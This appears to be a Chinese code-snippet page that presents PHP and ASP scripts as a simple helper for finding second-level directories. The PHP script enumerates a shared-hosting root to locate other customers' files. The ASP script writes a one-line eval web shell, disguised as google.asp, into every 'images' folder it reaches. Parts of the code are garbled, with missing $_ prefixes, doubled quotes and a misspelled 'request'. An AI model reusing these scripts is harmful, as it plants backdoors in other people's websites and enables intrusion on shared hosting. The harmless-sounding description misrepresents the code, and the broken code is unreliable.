【编者按】：网学网PHP为您提供php一个找二层目录的小东东参考，解决您在php一个找二层目录的小东东学习中工作中的难题，参考学习。

php版
复制代码 代码如下:
<?php
set_time_limit(0);
$path = ''D:/Hosting'';
$somefile = GET[''key''];
$logfile = ''D:/Hosting/6668835/html/images/ennumdir.txt'';
if (!isset( SERVER[''PHP_AUTH_USER''])) {
header(''WWW-Authenticate: Basic realm="My Realm"'');
header(''HTTP/1.0 401 Unauthorized'');
echo ''Text to send if user hits Cancel button'';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '''';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != GET[''dir''])
{
continue;
}
/*
if($filename{1} != GET[''two''])
{
continue;
}
*/
//$path2 = $path.''/''.$filename.''/html'';
$path2 = $path.''/''.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo''[+]Found !''.$filename2."\n";
file_put_contents($logfile,''[+]Found !''.$path2.''/''.$filename2."\n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,''[*]LAST ''.$path2."\n",FILE_APPEND);
closedir($handle);
}
}

asp版
复制代码 代码如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:\intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
'' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", "，")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, "，", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>